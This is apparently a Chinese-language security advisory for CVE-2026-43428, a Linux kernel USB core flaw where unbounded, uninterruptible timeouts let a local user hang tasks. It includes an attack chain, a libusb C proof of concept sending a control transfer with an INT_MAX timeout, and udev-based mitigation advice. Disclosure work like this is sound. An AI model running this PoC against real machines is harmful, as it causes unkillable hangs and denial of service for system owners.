IPBUF安全漏洞报告
English
CVE-2026-43428 CVSS 5.5 中危

CVE-2026-43428 Linux内核USB核心超时挂起漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43428
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSUSBLocalDenial of Service

漏洞概述

Linux内核USB核心组件存在安全漏洞,其`usb_control_msg`、`usb_bulk_msg`和`usb_interrupt_msg`等API允许设置无限长的超时时间。由于这些API使用不可中断的等待机制,攻击者可利用此特性导致任务被无限期挂起,从而造成拒绝服务。该补丁通过将超时限制为60秒并规范化负值处理来修复此问题。

技术细节

该漏洞源于Linux内核USB核心的消息处理机制。`usb_control_msg`、`usb_bulk_msg`及`usb_interrupt_msg`等接口在处理同步USB传输时,未对传入的超时参数进行上限校验。这些接口内部使用了不可中断的等待状态。如果本地低权限用户通过恶意程序调用这些接口并传入极大的超时值(如ULONG_MAX),内核进程将进入不可中断的休眠状态,且无法被常规信号(如SIGKILL)唤醒或终止。这会导致任务长时间挂起,消耗系统资源,甚至触发内核的hung-task检测机制或导致系统假死。修复方案是在内核层面强制将超时时间限制在60秒以内,并将负值视为最大允许值。

攻击链分析

STEP 1
1
攻击者获得本地低权限用户访问权限(AV:L, PR:L)。
STEP 2
2
攻击者识别系统中的USB设备,并拥有与其交互的权限(如通过/dev/bus/usb/*)。
STEP 3
3
攻击者编写并运行恶意程序,调用USB核心API(如通过libusb),并传入极大的超时参数。
STEP 4
4
内核任务进入不可中断睡眠状态,无法被kill命令终止,导致系统资源耗尽或服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43428: USB Core Timeout Hang * This PoC demonstrates triggering the unkillable wait issue * by sending a USB control message with an excessive timeout. * Requires: libusb-1.0 development libraries * Compile: gcc -o poc_usb_hang poc_usb_hang.c -lusb-1.0 */ #include <libusb-1.0/libusb.h> #include <stdio.h> #include <unistd.h> int main() { libusb_device_handle *handle = NULL; int ret; // Initialize libusb ret = libusb_init(NULL); if (ret < 0) { fprintf(stderr, "Failed to initialize libusb\n"); return 1; } // Open a USB device (VID/PID placeholders) // In a real scenario, the attacker targets a specific vulnerable device handle = libusb_open_device_with_vid_pid(NULL, 0x1234, 0x5678); if (!handle) { printf("No target device found. Connect a USB device to test.\n"); libusb_exit(NULL); return 1; } printf("Device opened. Sending control transfer with huge timeout...\n"); unsigned char data[64]; // Attempt to send a control transfer with a massive timeout value // INT_MAX or similar value to trigger the unkillable sleep before patch unsigned int massive_timeout = 2147483647; // INT_MAX ret = libusb_control_transfer( handle, 0x80, // bmRequestType (Direction: In, Type: Standard, Recipient: Device) 0x06, // bRequest (GET_DESCRIPTOR) 0x0100, // wValue (Descriptor Type: Device, Index: 0) 0x0000, // wIndex data, // data buffer sizeof(data), // wLength massive_timeout // timeout in milliseconds ); if (ret < 0) { perror("Transfer failed or timed out (after patch)"); } else { printf("Transfer completed (unexpected).\n"); } libusb_close(handle); libusb_exit(NULL); return 0; }

影响范围

Linux Kernel < 6.9 (specific commits)
Linux Kernel < 6.8
Linux Kernel < 6.6

防御指南

临时缓解措施
在无法立即升级内核的情况下,管理员可以通过配置udev规则或文件系统权限,严格限制普通用户对USB设备文件(/dev/bus/usb/)的访问权限,以防止低权限用户触发该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表